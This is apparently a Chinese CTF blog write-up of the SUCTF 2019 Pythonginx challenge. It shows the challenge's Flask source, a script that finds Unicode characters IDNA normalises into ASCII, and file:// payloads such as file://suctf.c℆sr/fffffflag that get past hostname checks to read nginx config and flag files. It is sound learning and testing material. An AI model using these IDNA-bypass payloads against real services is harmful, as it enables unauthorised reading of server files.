一天一道ctf 第32天

[SUCTF2019]黑客攻防:IDNA编码挑战

[SUCTF 2019]Pythonginx
题目源码;

 @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

这道题就是要使urlparse和urlsplit分离出来的主机名不是suctf.cc,然后经过h.encode('idna').decode('utf-8')(先idna加密,再utf-8解密),最后的主机名还原成suctf.cc

这是网上找来的脚本,用来找能利用的字符

# coding:utf-8 
for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

题目源代码中还提示说nignx,它的目录是/usr/local/nginx/conf/nginx.conf
所以我们需要最后URL变成file://suctf.cc/usr/local/nginx/conf/nginx.conf
通过脚本找到℆在idna加密,utf-8解密后会变成c/u,因此payload就是file://suctf.c℆sr/local/nginx/conf/nginx.conf
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
或者把c替换成ℂ,把f替换成ℱ都是可以的
在这里插入图片描述
提示我们flag在/user/fffffflag中,file://suctf.c℆sr/fffffflag直接读到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值